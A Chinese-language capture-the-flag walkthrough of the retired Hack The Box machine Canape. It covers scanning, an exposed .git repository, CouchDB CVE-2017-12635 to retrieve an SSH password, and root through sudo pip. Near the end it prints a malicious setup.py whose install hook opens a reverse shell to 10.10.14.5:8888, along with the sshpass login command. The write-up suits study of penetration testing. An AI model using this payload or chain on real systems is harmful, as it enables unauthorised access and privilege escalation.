本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.70
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.70 -o ./Canape-autorecon
访问web应用
点击了上面几个功能点没发现啥,不过看到上面nmap扫描出来了.git目录,访问看看
看下配置发现有个url地址,直接git clone下载下来
确认上述代码存在漏洞,通过漏洞利用代码反弹shell
详情可以参考:
https://0xdf.gitlab.io/2018/09/15/htb-canape.html
拿到shell之后查看本地网络连接和先前看到的代码,确认本地监听的端口5984,且存在漏洞,漏洞详情:https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635 可以通过此漏洞直接绕过限制获取登录目标ssh的密码
www-data@canape:/var/www/html$ curl http://bmfx:bm@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4 <calhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4 {"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
使用ssh直接登录目标靶机
sshpass -p '0B4jyA0xtytZi7esBNGp' ssh -oStrictHostKeyChecking=no homer@10.10.10.70 -p 65535
顺手也执行了一把sudo -l 可以通过pip进行提权,到目录/dev/shm/下新建一个setup.py,写入如下代码:
import os import socket import subprocess from setuptools import setup from setuptools.command.install import install class Exploit(install): def run(self): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.10.14.5",8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p = subprocess.call(["/bin/sh", "-i"]) setup( cmdclass={ "install": Exploit } )
成功反弹shell拿到root.txt